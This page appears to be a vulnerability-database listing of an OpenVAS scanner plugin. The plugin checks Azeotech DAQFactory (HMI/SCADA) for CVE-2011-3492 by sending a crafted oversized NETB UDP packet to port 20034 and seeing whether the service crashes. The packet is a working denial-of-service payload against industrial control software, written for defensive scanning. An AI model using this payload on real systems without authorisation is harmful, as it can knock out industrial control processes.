Lucene search

K
openvasCopyright (c) 2011 Greenbone Networks GmbHOPENVAS:1361412562310802037
HistoryOct 07, 2011 - 12:00 a.m.

Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability

2011-10-0700:00:00
Copyright (c) 2011 Greenbone Networks GmbH
plugins.openvas.org
26

0.931 High

EPSS

Percentile

98.8%

This host is installed with Azeotech DAQFactory (HMI/SCADA) and
is prone to denial of service vulnerability.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_daqfactory_netb_datagram_stack_bof.nasl 11997 2018-10-20 11:59:41Z mmartin $
#
# Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability
#
# Authors:
# Veerendra G.G <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802037");
  script_version("$Revision: 11997 $");
  script_tag(name:"last_modification", value:"$Date: 2018-10-20 13:59:41 +0200 (Sat, 20 Oct 2018) $");
  script_tag(name:"creation_date", value:"2011-10-07 15:45:35 +0200 (Fri, 07 Oct 2011)");
  script_cve_id("CVE-2011-3492");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/69764");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17841");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/daqfactory_1-adv.txt");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-02.pdf");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_require_udp_ports(20034);

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to execute
  arbitrary code on the system or cause denial of service condition.");

  script_tag(name:"affected", value:"Azeotech DAQFactory 5.85 build 1853 and earlier.");

  script_tag(name:"insight", value:"The flaw is due to an error while parsing NETB datagrams. Which
  can be exploited to cause a buffer overflow by sending a crafted NETB packet
  to port 20034/UDP.");

  script_tag(name:"solution", value:"Update to version 5.86 or later.");

  script_tag(name:"summary", value:"This host is installed with Azeotech DAQFactory (HMI/SCADA) and
  is prone to denial of service vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  script_xref(name:"URL", value:"http://www.azeotech.com/daqfactory.php");
  exit(0);
}

include("network_func.inc");

port = 20034;
if(!get_udp_port_state(port)){
  exit(0);
}

if(!check_udp_port_status(dport:port)){
  exit(0);
}

soc1 = open_sock_udp(port);
if(!soc1){
  exit(0);
}

req = raw_string( 'NETB',
                  crap(data:raw_string(0xff), length:156),
                  crap(data:'A', length:78),
                  0x00,
                  crap(data:'A', length:785) );

send(socket:soc1, data:req);

sleep(1);

if(!check_udp_port_status(dport:port)){
  security_message(port:port, proto:'udp');
}

0.931 High

EPSS

Percentile

98.8%

Related for OPENVAS:1361412562310802037